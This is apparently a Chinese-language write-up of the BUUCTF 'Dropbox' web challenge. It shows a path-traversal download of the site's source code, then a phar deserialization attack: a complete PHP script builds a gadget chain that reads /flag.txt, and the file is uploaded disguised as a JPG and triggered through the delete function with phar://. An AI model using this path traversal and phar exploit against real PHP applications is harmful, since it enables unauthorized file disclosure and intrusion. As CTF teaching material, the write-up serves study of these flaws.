0%

Dropbox-CTF

来源信息

  • BUUCTF
  • 题目名称:Dropbox
  • 类型:Web
  • 难度:★★★★☆
  • 题目地址:链接
  • 题目内容:

解题过程

打开链接就是登陆页面,第一反应就是sql注入,但是试了一会没有成功,看到了**注册**按钮,直接注册登陆。

截屏2021-06-06 下午4.36.00.png

注册用户,完成登陆,发现后台有登陆按钮,试试文件上传,看能不能传个🐎。

截屏2021-06-06 下午4.38.52.png

截屏2021-06-06 下午4.59.10.png

在上传图片的时候发现会调用upload.php,下载的时候会调用download.php。同时成功上传文件之后会发现下载的路径都是#,我们无法获取上传文件的绝对路径。

考虑修改文件名是否能下载到上层目录的网站源码,分别测试../index.php和../../index.php后下载到index.php的内容,同理下载delete.php,upload.php,download.php,再对剩下的网站文件进行下载后代码审计。

截屏2021-06-06 下午5.18.52.png
在login.php中,发现了上传文件之后的绝对路径。

但是再次尝试了传🐎,还是无用。到此可以确定不是文件上传了。

看到了提示说是phar反序列化漏洞。

phar

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。**phar格式归档文件可以直接执行**,它的产生依赖于Phar扩展,由自己编写的php脚本产生

详情可以查看这篇文PHP开发常识:什么是Phar?

创建phar文件首先在php.ini中修改phar.readonly这个选项,将其修改为0:

1
phar.readonly = 0

phar结构

  • stub

    phar 文件标识,格式为 xxx

  • manifest

    压缩文件的属性等信息,以序列化存储;

  • contents

    压缩文件的内容;

  • signature

    签名,放在文件末尾;

这里有两个关键点:

  1. 是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;
  2. 是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。

截屏2021-06-06 下午7.13.26.png

经过代码审计发现delete.php可以利用.$file->detele();再看class.php里的file类的delete方法:

delete.php

1
2
3
4
5
6
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
}

class.php

1
2
3
public function detele() {
unlink($this->filename);
}

unlink可以反序列化,而且delete.php文件include了class.php,也就可以利用FileList类的__destruct()方法,满足攻击的三个条件:

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
    然后分析class.php类的结构关系,构造脚本生成phar文件:

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class User {
public $db;
}
class File{
public $filename;
public function __construct($name){
$this->filename=$name;
}
}
class FileList {
private $files;
public function __construct(){
$this->files=array(new File('/flag.txt'));
}
}
$o = new User();
$o->db =new FileList();
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

先调用了User类,User类destruct的时候,调用了db.close方法,而这里的db是Filelist类的对象,所以调用了Filelist类的close()方法,但是Filelist又不存在这个方法,所以调用了call方法,
call方法会调用file的close方法,也就是/flag.txt调用close方法,也就是包含这个文件。最后,Filelist类调用destruct方法,打印出函数执行结果,也就是根目录下flag.txt文件的内容

_call方法

1
2
3
为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,可以使用 __call() 方法来避免。

该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。

之后将生成的phar文件后缀改为jpg上传。

接下来再点击删除文件,将文件名改为phar://phar.jpg即可获得flag

截屏2021-06-06 下午8.54.58.png